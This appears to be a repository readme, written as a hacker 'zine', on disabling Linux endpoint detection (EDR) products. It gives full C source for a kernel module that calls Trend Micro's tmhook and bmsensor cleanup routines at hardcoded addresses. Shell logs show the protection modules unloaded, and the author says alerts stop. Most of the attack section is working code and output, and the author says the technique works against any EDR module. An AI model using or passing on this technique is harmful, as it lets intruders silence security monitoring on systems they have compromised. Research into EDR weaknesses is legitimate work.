├── LICENSE └── readme.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 matheuz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /readme.txt: -------------------------------------------------------------------------------- 1 | root@malware:~# insmod unhook.ko 2 | root@malware:~# dmesg 3 | [ 1337.001337] 4 | [ 1337.001337] 5 | [ 1337.001337] Unhooking Linux EDRs 6 | [ 1337.001337] 7 | [ 1337.001337] 8 | root@malware:~# 9 | 10 | --[ Summary ]----------------------------------------------------------------- 11 | 12 | 1 - Introduction 13 | 2 - Understanding how Kernel Module is removed 14 | 3 - Unhooking EDR 15 | 4 - Conclusion 16 | 17 | --[ 1 ]--------------------------------------------[ Introduction ]----- 18 | 19 | Linux security has always been a subject of great interest to me, especially 20 | when it comes to detecting and mitigating threats at the kernel level. 21 | I am constantly seeking to understand the mechanisms used for system 22 | monitoring and protection, and this time, I have deepened my research in 23 | EDRs (Endpoint Detection and Response) on Linux. 24 | 25 | Currently, various EDR solutions uses LKMs (Loadable Kernel Modules) 26 | to system call hooking and implementing security mechanisms. For example, 27 | Trend Micro Deep Security utilizes kernel modules for monitoring and protection, 28 | whereas CrowdStrike Falcon relies on eBPF (Extended Berkeley Packet Filter) 29 | and ML (Machine Learning). 30 | 31 | What caught my attention the most were EDRs that utilize LKMs. In this zine, 32 | I will explore how we can manipulate these hooks removing hooks from a 33 | specific LKM to prevent alert generation and potentially disable its 34 | protection mechanisms. 35 | 36 | 37 | --[ 2 ]--------------------------------------------[ Understanding how Kernel Module is removed ]----- 38 | 39 | First, we need to understand how a kernel module is removed. To do this, 40 | let's look at a simple C code snippet that represents a Loadable Kernel Module (LKM): 41 | 42 | 43 | ╔═══════════════════════════════════════╗ 44 | #include 45 | #include 46 | #include 47 | 48 | MODULE_LICENSE("GPL"); 49 | MODULE_AUTHOR("matheuz"); 50 | MODULE_DESCRIPTION("Example"); 51 | 52 | int matheuz_init(void) { 53 | printk(KERN_INFO "Hello, @matheuz!\n"); 54 | return 0; 55 | } 56 | 57 | void matheuz_exit(void) { 58 | printk(KERN_INFO "Bye, @matheuz!\n"); 59 | } 60 | 61 | module_init(matheuz_init); 62 | module_exit(matheuz_exit); 63 | ╚═══════════════════════════════════════╝ 64 | 65 | When the module is loaded, the kernel call matheuz_init(), logging 66 | "Hello, @matheuz!" in the kernel log. Upon removal with rmmod, the kernel checks 67 | if the module is in use (refcount), calls matheuz_exit(), logs "Bye, @matheuz!", 68 | and removes the LKM, making it disappear from /proc/modules and /sys/module/. 69 | 70 | Interestingly, the kernel creates an alias called cleanup_module, pointing 71 | to matheuz_exit(), which can be verified through /proc/kallsyms: 72 | 73 | 74 | ╔════════════════════════════════════════════════════════════════════════╗ 75 | cowboy@bebop:~$ sudo insmod matheuz.ko 76 | cowboy@bebop:~$ dmesg 77 | [ 1894.726088] Hello, @matheuz! 78 | cowboy@bebop:~$ sudo cat /proc/kallsyms|grep matheuz | grep -e cleanup_mod 79 | ffffffffc113b010 d __UNIQUE_ID___addressable_cleanup_module467 [matheuz] 80 | ffffffffc1139040 t cleanup_module [matheuz] 81 | ffffffffc1139030 t __pfx_cleanup_module [matheuz] 82 | cowboy@bebop:~$ 83 | ╚════════════════════════════════════════════════════════════════════════╝ 84 | 85 | You might be wondering: why does this matter? After all, only root users 86 | can remove modules using rmmod in specific, right? Wrong. Some security solutions, 87 | such as Trend Micro's EDR, implement protections that prevent their kernel module 88 | from being removed even with root: 89 | 90 | 91 | ╔════════════════════════════════════════════════════════════════════════╗ 92 | root@edr:~# lsmod|grep tmhook 93 | tmhook 143360 110 bmsensor 94 | root@edr:~# lsmod|grep bmsensor 95 | bmsensor 557056 2 96 | tmhook 143360 110 bmsensor 97 | root@edr:~# 98 | root@edr:~# rmmod -f bmsensor 99 | rmmod: ERROR: ../libkmod/libkmod-module.c:799 kmod_module_remove_module() could not remove 'bmsensor': Resource temporarily unavailable 100 | rmmod: ERROR: could not remove module bmsensor: Resource temporarily unavailable 101 | root@edr:~# 102 | root@edr:~# rmmod -f tmhook 103 | rmmod: ERROR: ../libkmod/libkmod-module.c:799 kmod_module_remove_module() could not remove 'tmhook': Resource temporarily unavailable 104 | rmmod: ERROR: could not remove module tmhook: Resource temporarily unavailable 105 | root@edr:~# 106 | root@edr:~# 107 | ╚════════════════════════════════════════════════════════════════════════╝ 108 | 109 | But what if, instead of using rmmod, we directly calls the module's 110 | cleanup_module function, bypassing these restrictions? 111 | 112 | --[ 3 ]--------------------------------------------[ Unhooking EDR ]----- 113 | 114 | Since rmmod is not a viable option, we can bypass this limitation by directly calls 115 | the module's cleanup_module function. But how is this possible? The answer 116 | is simple: by creating an LKM that have the function's address and calls it. 117 | 118 | In other words, if we find cleanup_module through /proc/kallsyms and call it, 119 | we can disable the module's hooks without actually removing it from memory. 120 | 121 | 122 | ╔════════════════════════════════════════════════════════════════════════╗ 123 | #include 124 | #include 125 | #include 126 | #include 127 | #include 128 | 129 | struct module_entry { 130 | struct list_head list; 131 | char *name; 132 | void *address; 133 | }; 134 | 135 | static LIST_HEAD(module_list); 136 | 137 | static void add_entry(char *name, void *address) { 138 | struct module_entry *mod; 139 | mod = kmalloc(sizeof(struct module_entry), GFP_KERNEL); 140 | if (!mod) { 141 | printk(KERN_ERR "Deu ruimkjkj.\n"); 142 | return; 143 | } 144 | mod->name = name; 145 | mod->address = address; 146 | list_add_tail(&mod->list, &module_list); 147 | } 148 | 149 | static void magick_lol(void) { 150 | struct module_entry *entry; 151 | list_for_each_entry(entry, &module_list, list) { 152 | if (strcmp(entry->name, "cleanup_module") == 0) { 153 | 154 | ((void (*)(void))entry->address)(); 155 | break; 156 | } 157 | } 158 | } 159 | 160 | static int __init lkm_init(void) { 161 | add_entry("cleanup_module", (void *)0xffffffffc093b990); //call 162 | magick_lol(); 163 | 164 | return 0; 165 | } 166 | 167 | static void __exit lkm_exit(void) { 168 | printk(KERN_INFO "Qlq coisa kkjkjkjk\n"); 169 | } 170 | 171 | MODULE_LICENSE("GPL"); 172 | MODULE_AUTHOR("matheuz"); 173 | MODULE_DESCRIPTION("Sem descrição kkjkjk"); 174 | MODULE_VERSION("1.0"); 175 | 176 | module_init(lkm_init); 177 | module_exit(lkm_exit); 178 | ╚════════════════════════════════════════════════════════════════════════╝ 179 | 180 | In short, this simple code creates a linked list of structures where each entry 181 | contains the name and address of a function specifically, cleanup_module 182 | from the tmhook module. 183 | 184 | It then adds an entry for cleanup_module with its corresponding address and 185 | calls the function magick_lol(), which searches for this entry in the list. 186 | If found, it calls the associated function. 187 | 188 | Once the LKM is loaded, you can check the kernel logs with dmesg to confirm 189 | that the module has been successfully "removed." As a result, all protections 190 | will be bypassed, alerts will stop triggering, and any hooked operations within 191 | the kernel module will cease to function. This is because cleanup_module 192 | is simply an alias for module_exit, meaning the module still appears in lsmod, 193 | but its hooks are no longer active. 194 | 195 | 196 | ╔════════════════════════════════════════════════════════════════════════╗ 197 | root@edr:~# lsmod|grep tmhook 198 | tmhook 143360 110 bmsensor 199 | root@edr:~# 200 | root@edr:~# dmesg|grep tmhook 201 | [ 24.211040] tmhook: loading out-of-tree module taints kernel. 202 | [ 24.211046] tmhook: tainting kernel with TAINT_LIVEPATCH 203 | [ 24.211048] tmhook: module verification failed: signature and/or required key missing - tainting kernel 204 | [ 24.318298] tmhook: tmhook_lookup_symbol(do_int80_syscall_32) failed: register_kprobe = -2 205 | [ 24.318438] tmhook: tmhook_lookup_symbol(ia32_sys_call_table) failed: register_kprobe = -2 206 | [ 24.388078] livepatch: enabling patch 'tmhook' 207 | [ 24.397248] livepatch: 'tmhook': starting patching transition 208 | [ 24.445418] tmhook: tmhook 1.2.2049 loaded 209 | [ 41.049805] livepatch: 'tmhook': patching complete 210 | root@edr:~# 211 | root@edr:~# cat /proc/kallsyms|grep tmhook |grep -e cleanup_module 212 | ffffffffc08cdd50 d __UNIQUE_ID___addressable_cleanup_module319 [tmhook] 213 | ffffffffc08cb310 t cleanup_module [tmhook] 214 | ffffffffc08cb300 t __pfx_cleanup_module [tmhook] 215 | root@edr:~# 216 | root@edr:~# cat unhook.c|grep cleanup_mod 217 | if (strcmp(entry->name, "cleanup_module") == 0) { 218 | add_entry("cleanup_module", (void *)0xffffffffc08cb310); //call 219 | root@edr:~# 220 | ╚════════════════════════════════════════════════════════════════════════╝ 221 | 222 | Notice that the Trend Micro tmhook module is currently loaded. Now, 223 | let's call its cleanup_module function. 224 | 225 | ╔════════════════════════════════════════════════════════════════════════╗ 226 | root@edr:~# insmod unhook.ko 227 | root@edr:~# 228 | root@edr:~# dmesg|grep tmhook 229 | [ 24.211040] tmhook: loading out-of-tree module taints kernel. 230 | [ 24.211046] tmhook: tainting kernel with TAINT_LIVEPATCH 231 | [ 24.211048] tmhook: module verification failed: signature and/or required key missing - tainting kernel 232 | [ 24.318298] tmhook: tmhook_lookup_symbol(do_int80_syscall_32) failed: register_kprobe = -2 233 | [ 24.318438] tmhook: tmhook_lookup_symbol(ia32_sys_call_table) failed: register_kprobe = -2 234 | [ 24.388078] livepatch: enabling patch 'tmhook' 235 | [ 24.397248] livepatch: 'tmhook': starting patching transition 236 | [ 24.445418] tmhook: tmhook 1.2.2049 loaded 237 | [ 41.049805] livepatch: 'tmhook': patching complete 238 | [ 1040.077852] tmhook: tmhook 1.2.2049 unloaded 239 | root@edr:~# 240 | root@edr:~# 241 | ╚════════════════════════════════════════════════════════════════════════╝ 242 | 243 | After loading our LKM that calls cleanup_module, check the dmesg logs, 244 | tmhook has been successfully unloaded. This confirms that the technique 245 | worked perfectly! We can apply the same approach to bmsensor, Trend Micro's sensor module. 246 | 247 | 248 | ╔════════════════════════════════════════════════════════════════════════╗ 249 | root@edr:~# cat /proc/kallsyms|grep bmsensor|grep -e cleanup_module 250 | ffffffffc0947ef0 d __UNIQUE_ID___addressable_cleanup_module502 [bmsensor] 251 | ffffffffc093b990 t cleanup_module [bmsensor] 252 | ffffffffc093b980 t __pfx_cleanup_module [bmsensor] 253 | root@edr:~# 254 | root@edr:~# cat unhook.c |grep 990 255 | add_entry("cleanup_module", (void *)0xffffffffc093b990); //call 256 | root@edr:~# 257 | root@edr:~# insmod unhook.ko 258 | root@edr:~# 259 | ╚════════════════════════════════════════════════════════════════════════╝ 260 | 261 | As a result, no alerts will be triggered, and none of Trend Micro's module 262 | hooks will function, as we have effectively "removed" it, without actually using rmmod. 263 | 264 | 265 | ╔════════════════════════════════════════════════════════════════════════╗ 266 | cowboy@bebop:~$ sudo insmod matheuz.ko 267 | cowboy@bebop:~$ dmesg 268 | [ 5415.087197] Hello, @matheuz! 269 | cowboy@bebop:~$ 270 | cowboy@bebop:~$ sudo cat /proc/kallsyms|grep matheuz|grep -e cleanup_mod 271 | ffffffffc113b010 d __UNIQUE_ID___addressable_cleanup_module467 [matheuz] 272 | ffffffffc1139040 t cleanup_module [matheuz] 273 | ffffffffc1139030 t __pfx_cleanup_module [matheuz] 274 | cowboy@bebop:~$ 275 | cowboy@bebop:~$ cat unhook.c |grep cleanup_mod 276 | if (strcmp(entry->name, "cleanup_module") == 0) { 277 | add_entry("cleanup_module", (void *)0xffffffffc1139040); //call 278 | cowboy@bebop:~$ 279 | cowboy@bebop:~$ sudo insmod unhook.ko 280 | cowboy@bebop:~$ 281 | cowboy@bebop:~$ dmesg 282 | [ 5415.087197] Hello, @matheuz! 283 | [ 5493.200914] Bye, @matheuz! 284 | cowboy@bebop:~$ 285 | ╚════════════════════════════════════════════════════════════════════════╝ 286 | 287 | This technique can be applied to any module that implements cleanup_module, 288 | whether it's an EDR, a rootkit, or any other LKM. 289 | 290 | --[ 4 ]--------------------------------------------[ Conclusion ]----- 291 | 292 | Kernel modules present multiple attack surfaces, and by manipulating cleanup_module, 293 | we were able to disable hooks and suppress alerts without officially 294 | removing the module. This demonstrates that the very design of Linux provides 295 | alternative pathways for those who know where to look. 296 | 297 | If you have any questions, please contact me: 298 | 299 | Discord: kprobe 300 | Twitter: @MatheuzSecurity 301 | Rootkit Researchers: https://discord.gg/66N5ZQppU7 302 | --------------------------------------------------------------------------------